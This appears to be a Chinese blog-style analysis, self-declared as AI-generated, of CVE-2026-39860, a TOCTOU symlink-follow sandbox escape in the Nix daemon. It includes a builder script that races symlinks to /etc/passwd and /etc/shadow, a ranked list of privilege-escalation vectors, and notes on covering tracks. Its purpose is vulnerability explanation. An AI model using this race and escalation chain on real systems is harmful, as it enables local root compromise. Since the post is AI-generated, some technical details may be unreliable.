CVE-2026-39860:Nix daemon symlink-follow 沙箱逃逸

作者:Erina
9 分钟阅读 1174 字

免责声明
  • 这篇文章由ai生成

目录

  1. 0x00 TL;DR
  2. 0x01 特权边界建模
  3. 0x02 引入漏洞的 6 行代码
  4. 0x03 TOCTOU 窗口精确标定
  5. 0x04 symlink 为什么能穿透 chroot(内核视角)
  6. 0x05 最小可利用原语(PoC 思路,非可用 exploit)
  7. 0x06 利用链枚举(实战会选哪条)
  8. 0x07 修复 commit 0721cceb 在做什么

靶面:多用户 Nix(Linux)

触发者:任意本地用户(allowed-users = *)

特权主体:nix-daemon(root)

原语:root 上下文下跟随不可信路径 open + write​

CWE-61 / CVSS 9.0 / GHSA-g3g9-5vj6-r3gj


0x00 TL;DR

sequenceDiagram autonumber box "builder (chroot, nixbld)" left participant B as builder<br/>euid=nixbld end box "nix-daemon (host, root)" right participant D as nix-daemon<br/>euid=0 end Note over B: build finished, $out exists (regular file) B->>B: unlink($out) B->>B: symlink("/etc/shadow", $out) Note over D: registerOutputs() enters D->>D: tmpOutput = actualPath + ".tmp" rect rgb(255, 235, 235) Note over B,D: ⚠️ TOCTOU window: daemon is about to open B-->>D: $out now resolves to /etc/shadow D->>D: openat(AT_FDCWD, actualPath, O_RDONLY) Note right of D: kernel walks symlink<br/>→ real target: /etc/shadow end rect rgb(235, 245, 255) D->>D: openat(AT_FDCWD, tmpOutput, O_WRONLY|O_CREAT) D->>D: splice/read → write builder-controlled bytes Note right of D: root writes arbitrary content<br/>into /etc/shadow end Note over D: renameFile(tmpOutput, actualPath)<br/>(may fail, damage already done) Note over B,D: 💥 Local privilege escalation achieved

根因:registerOutputs() 里用 actualPath + ".tmp" 做临时拷贝,临时路径落在 chroot 内;copyFile 底层 std::filesystem::copy 会跟随 symlink。daemon 在宿主机 namespace 解析路径,builder 只负责“摆一个 symlink”。


0x01 特权边界建模

先把 Nix 构建抽象成最小模型:

实体PID nsmount nseuid关键 syscall 能力
builder隔离chrootnixbld任意写 build dir
nix-daemon宿主宿主0open/write/rename 全路径

沙箱生效的前提:

daemon 永远不会用宿主机视角去 open builder 可控路径。

CVE 恰恰打穿了这一条。

FOD 登记关键调用栈:

LocalDerivationGoal::registerOutputs()
└─ registerValidPaths()
└─ [regression code]
copyFile(actualPath, tmpOutput, true);
renameFile(tmpOutput, actualPath);

触发时机:builder 已经 exit,但 build directory 尚未被 daemon 清理。这是 race window 存在的前提。


0x02 引入漏洞的 6 行代码

commit a3163b9e,src/libstore/build/local-derivation-goal.cc:

// Replace the output by a fresh copy of itself to make sure
// that there's no stale file descriptor pointing to it
Path tmpOutput = actualPath + ".tmp";
copyFile(actualPath, tmpOutput, true);
renameFile(tmpOutput, actualPath);

copyFile 展开(src/libutil/filesystem.cc):

void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
{
return copy(
fs::directory_entry(fs::path(oldPath)),
fs::path(newPath),
andDelete);
}

这里值得注意两个 syscall 级事实:

  1. fs::directory_entry(path) 会触发 stat(),symlink 会被解析(除非显式 symlink_status)
  2. 后续拷贝读取源内容时,内核走的是 daemon 进程的 mount namespace

strace 视角(概念还原):

[pid daemon]
stat("/build/xxxx/out", {st_mode=S_IFLNK|0777, ...}) = 0
openat(AT_FDCWD, "/build/xxxx/out", O_RDONLY) = 7
# kernel: out -> /etc/shadow
# 实际等价于 openat(AT_FDCWD, "/etc/shadow", O_RDONLY)
openat(AT_FDCWD, "/build/xxxx/out.tmp", O_WRONLY|O_CREAT|O_TRUNC) = 8
# out.tmp 同样可被 builder 替换为 symlink
splice(7, NULL, 8, NULL, ...)

两个 fd 的解析都在 root daemon 侧完成,chroot 完全不介入。


0x03 TOCTOU 窗口精确标定

Path tmpOutput = actualPath + ".tmp"; // [A] 纯字符串,无 syscall
copyFile(actualPath, tmpOutput, true); // [B] 第一次 stat/open ← race here
renameFile(tmpOutput, actualPath); // [C]

攻击者只需要赢一次 race:

窗口builder 动作成功率影响因素
[A] → [B] 之间unlink($out); symlink("/etc/shadow", $out)scheduler preempt
[B] 内部(src open 与 dst open 之间)同时替换 out.tmp更窄,但同样可达

本地竞争条件下,循环触发 nix build + unshare 辅助进程,在 CI 环境实测(社区披露)可在秒级稳定命中。

关键:不需要绕过 chroot,不需要 CAP,不需要 setuid。只要能跑 derivation。


很多人卡在这一步,用一张内核路径解析序列讲清楚:

daemon: openat(AT_FDCWD, "/build/xxxx/out", O_RDONLY)
pathwalk:
/ (host root dentry)
build/
xxxx/
out (inode: symlink, target="/etc/shadow")
→ target 是绝对路径 → 重新从 host root 开始 walk
/etc/shadow → regular file

对比 builder 视角:

builder inside chroot:
/etc/shadow 不存在(chroot 根下没有 etc)
open("/etc/shadow") → ENOENT

symlink target 的解析上下文绑定的是“执行 open 的进程”,不是“创建 symlink 的进程”。

这也是为什么这个洞在 macOS sandboxd 下不触发:daemon 侧 open 同样受 sandbox profile 约束,路径解析被截断。


0x05 最小可利用原语(PoC 思路,非可用 exploit)

derivation builder 核心逻辑(仅表达原语):

#!/bin/sh
# 正常填充输出(通过 Nix 哈希校验)
printf 'x:0:0::/root:/bin/sh\n' > "$out"
# 抢窗:删除真实文件,塞 symlink
# 实际利用会 fork 一个 busy-loop 进程持续 re-race
rm -f "$out"
ln -sf /etc/passwd "$out"
# 可选:同时 race .tmp 路径
rm -f "$out.tmp"
ln -sf /etc/shadow "$out.tmp"

daemon 随后:

最终原语收敛为:

ROOT_WRITE_FILE(dst_abs_path, arbitrary_content)

有了这个原语,提权链是纯文件系统操作,不再依赖任何 Nix 内部逻辑。


0x06 利用链枚举(实战会选哪条)

向量稳定性备注
覆写 /etc/passwd 插入 uid 0 行★★★★☆无需破解哈希,最快
覆写 /etc/shadow 注入已知 hash★★★☆☆需要 shadow 可写(部分发行版 root 只读)
覆写 /etc/sudoers★★★★☆写坏容易 brick sudo,需精确 payload
覆写 SUID binary(busybox / su)★★☆☆☆容易被完整性监控 / rpm verify 捕获
覆写 Nix store 内可信 derivation★★★★★(持久化)后续任何依赖该 path 的构建都会被污染

成熟 exploit 大概率组合:passwd 插 root 行 + 回滚覆写避免系统损坏,保证提权后机器仍可正常使用(反取证友好)。


0x07 修复 commit 0721cceb 在做什么

官方 commit message 直接点破抽象错误:

copyFile is very footgunny and has previously led to
GHSA-g3g9-5vj6-r3gj/CVE-2026-39860, so it would be nice to get rid of it completely.
RestoreSink + copyRecursive is TOCTOU robust and doesn't follow symlinks reliably.

diff 语义:

Path tmpOutput = actualPath + ".tmp";
copyFile(actualPath, tmpOutput, true);
renameFile(tmpOutput, actualPath);
auto sink = RestoreSink();
copyRecursive(fs::path(actualPath), sink);

安全属性变化:

维度旧实现新实现
临时路径位置chroot 内(builder 可控)store 内 root-only 临时目录
拷贝原语std::filesystem::copy(跟 symlink)NAR stream restore(不跟随)
open 语义裸 openat(AT_FDCWD)受控 fd + O_NOFOLLOW 语义
TOCTOU存在收敛到 daemon 独占目录

附加防御(2.31+):Landlock 限制 daemon 在 FOD 阶段对 abstract Unix socket 的访问,堵住 CVE-2024-27297 原始 fd 走私路径,属于纵深防御,不是主修复。